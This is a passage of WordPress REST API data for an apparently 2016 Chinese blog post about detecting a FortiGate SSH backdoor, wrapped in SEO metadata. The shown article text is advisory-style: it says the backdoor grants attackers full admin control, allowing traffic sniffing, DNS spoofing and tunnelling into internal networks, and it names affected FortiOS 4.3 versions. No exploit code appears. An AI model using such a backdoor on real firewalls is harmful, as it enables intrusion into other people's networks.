style=\"font-family:\u5b8b\u4f53;background:white;color:black;font-size:9pt;\">FortiiGate<\/span><span style=\"font-family:\u5b8b\u4f53;background:white;color:black;font-size:9pt;\">\u7f51\u7edc\u5b89\u5168\u5e73\u53f0\u662f\u7531<span>Fortinet<\/span>\uff08\u98de\u5854\uff09\u516c\u53f8\u63a8\u51fa\u7684\u7f51\u7edc\u9632\u706b\u5899\u4ea7\u54c1\uff0c\u5305\u62ec\u9ad8\u6027\u80fd\u6570\u636e\u4e2d\u5fc3\u9632\u706b\u5899\u548c<span>NGFW<\/span>\uff08\u4e0b\u4e00\u4ee3\u9632\u706b\u5899\uff09\u4ee5\u53ca<span>UTM<\/span>\uff08 \u7edf\u4e00\u5a01\u80c1\u7ba1\u7406\uff09\u3002\u8fd9\u6b21\u66b4\u51fa\u6765\u7684\u662f\u4e00\u4e2a<span>ssh<\/span>\u540e\u95e8\uff0c\u653b\u51fb\u8005\u80fd\u5229\u7528\u6b64\u540e\u95e8\u76f4\u63a5\u83b7\u53d6<span>Fortigate<\/span>\u6700\u9ad8\u7ba1\u7406\u6743\u9650\uff0c\u53ef\u4ee5\u63a7\u5236\u8bbe\u5907\u8fdb\u884c\u6bd4\u5982\u6293\u53d6\u6d41\u91cf\u76d1\u542c\uff0c<span>dns<\/span>\u6b3a\u9a97\uff0c\u5efa\u7acb\u96a7\u9053\u8fdb\u5165\u4f01\u4e1a\u5185\u7f51\u7b49\u653b\u51fb\u884c\u4e3a\u3002<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;background:white;color:black;font-size:12pt;\">\u5f71\u54cd\u8303\u56f4<\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt;\">FortiOS 4.3.0-4.3&#8230;.<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt;\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt;\"><\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-159","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v16.9 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b - Wayne&#039;s Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=159\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b - Wayne&#039;s Blog\" \/>\n<meta property=\"og:description\" content=\"&nbsp;   \u6f0f\u6d1e\u6982\u8981    FortiiGate\u7f51\u7edc\u5b89\u5168\u5e73\u53f0\u662f\u7531Fortinet\uff08\u98de\u5854\uff09\u516c\u53f8\u63a8\u51fa\u7684\u7f51\u7edc\u9632\u706b\u5899\u4ea7\u54c1\uff0c\u5305\u62ec\u9ad8\u6027\u80fd\u6570\u636e\u4e2d\u5fc3\u9632\u706b\u5899\u548cNGFW\uff08\u4e0b\u4e00\u4ee3\u9632\u706b\u5899\uff09\u4ee5\u53caUTM\uff08 \u7edf\u4e00\u5a01\u80c1\u7ba1\u7406\uff09\u3002\u8fd9\u6b21\u66b4\u51fa\u6765\u7684\u662f\u4e00\u4e2assh\u540e\u95e8\uff0c\u653b\u51fb\u8005\u80fd\u5229\u7528\u6b64\u540e\u95e8\u76f4\u63a5\u83b7\u53d6Fortigate\u6700\u9ad8\u7ba1\u7406\u6743\u9650\uff0c\u53ef\u4ee5\u63a7\u5236\u8bbe\u5907\u8fdb\u884c\u6bd4\u5982\u6293\u53d6\u6d41\u91cf\u76d1\u542c\uff0cdns\u6b3a\u9a97\uff0c\u5efa\u7acb\u96a7\u9053\u8fdb\u5165\u4f01\u4e1a\u5185\u7f51\u7b49\u653b\u51fb\u884c\u4e3a\u3002    \u5f71\u54cd\u8303\u56f4    FortiOS 4.3.0-4.3....\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=159\" \/>\n<meta property=\"og:site_name\" content=\"Wayne&#039;s Blog\" \/>\n<meta property=\"article:published_time\" content=\"2016-01-15T09:24:14+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne&#039;s Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=159#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg\",\"contentUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=159#webpage\",\"url\":\"http:\/\/weizn.net\/?p=159\",\"name\":\"\\u98de\\u5854(FortiGate)SSH\\u540e\\u95e8\\u5168\\u7f51\\u68c0\\u6d4b - Wayne&#039;s Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=159#primaryimage\"},\"datePublished\":\"2016-01-15T09:24:14+00:00\",\"dateModified\":\"2016-01-15T09:24:14+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=159#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=159\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=159#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\\u98de\\u5854(FortiGate)SSH\\u540e\\u95e8\\u5168\\u7f51\\u68c0\\u6d4b\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=159#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=159#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"\\u98de\\u5854(FortiGate)SSH\\u540e\\u95e8\\u5168\\u7f51\\u68c0\\u6d4b\",\"datePublished\":\"2016-01-15T09:24:14+00:00\",\"dateModified\":\"2016-01-15T09:24:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=159#webpage\"},\"wordCount\":1150,\"commentCount\":0,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"image\":{\"@id\":\"http:\/\/weizn.net\/?p=159#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg\",\"articleSection\":[\"\\u5e94\\u7528\\u5b89\\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=159#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b - Wayne&#039;s Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=159","og_locale":"zh_CN","og_type":"article","og_title":"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b - Wayne&#039;s Blog","og_description":"&nbsp;   \u6f0f\u6d1e\u6982\u8981    FortiiGate\u7f51\u7edc\u5b89\u5168\u5e73\u53f0\u662f\u7531Fortinet\uff08\u98de\u5854\uff09\u516c\u53f8\u63a8\u51fa\u7684\u7f51\u7edc\u9632\u706b\u5899\u4ea7\u54c1\uff0c\u5305\u62ec\u9ad8\u6027\u80fd\u6570\u636e\u4e2d\u5fc3\u9632\u706b\u5899\u548cNGFW\uff08\u4e0b\u4e00\u4ee3\u9632\u706b\u5899\uff09\u4ee5\u53caUTM\uff08 \u7edf\u4e00\u5a01\u80c1\u7ba1\u7406\uff09\u3002\u8fd9\u6b21\u66b4\u51fa\u6765\u7684\u662f\u4e00\u4e2assh\u540e\u95e8\uff0c\u653b\u51fb\u8005\u80fd\u5229\u7528\u6b64\u540e\u95e8\u76f4\u63a5\u83b7\u53d6Fortigate\u6700\u9ad8\u7ba1\u7406\u6743\u9650\uff0c\u53ef\u4ee5\u63a7\u5236\u8bbe\u5907\u8fdb\u884c\u6bd4\u5982\u6293\u53d6\u6d41\u91cf\u76d1\u542c\uff0cdns\u6b3a\u9a97\uff0c\u5efa\u7acb\u96a7\u9053\u8fdb\u5165\u4f01\u4e1a\u5185\u7f51\u7b49\u653b\u51fb\u884c\u4e3a\u3002    \u5f71\u54cd\u8303\u56f4    FortiOS 4.3.0-4.3....","og_url":"http:\/\/weizn.net\/?p=159","og_site_name":"Wayne&#039;s Blog","article_published_time":"2016-01-15T09:24:14+00:00","og_image":[{"url":"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg"}],"twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"6 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne&#039;s Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"ImageObject","@id":"http:\/\/weizn.net\/?p=159#primaryimage","inLanguage":"zh-Hans","url":"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg","contentUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=159#webpage","url":"http:\/\/weizn.net\/?p=159","name":"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b - Wayne&#039;s Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"primaryImageOfPage":{"@id":"http:\/\/weizn.net\/?p=159#primaryimage"},"datePublished":"2016-01-15T09:24:14+00:00","dateModified":"2016-01-15T09:24:14+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=159#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=159"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=159#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=159#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=159#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"\u98de\u5854(FortiGate)SSH\u540e\u95e8\u5168\u7f51\u68c0\u6d4b","datePublished":"2016-01-15T09:24:14+00:00","dateModified":"2016-01-15T09:24:14+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=159#webpage"},"wordCount":1150,"commentCount":0,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"image":{"@id":"http:\/\/weizn.net\/?p=159#primaryimage"},"thumbnailUrl":"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg","articleSection":["\u5e94\u7528\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=159#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/159","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=159"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/159\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=159"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=159"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=159"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}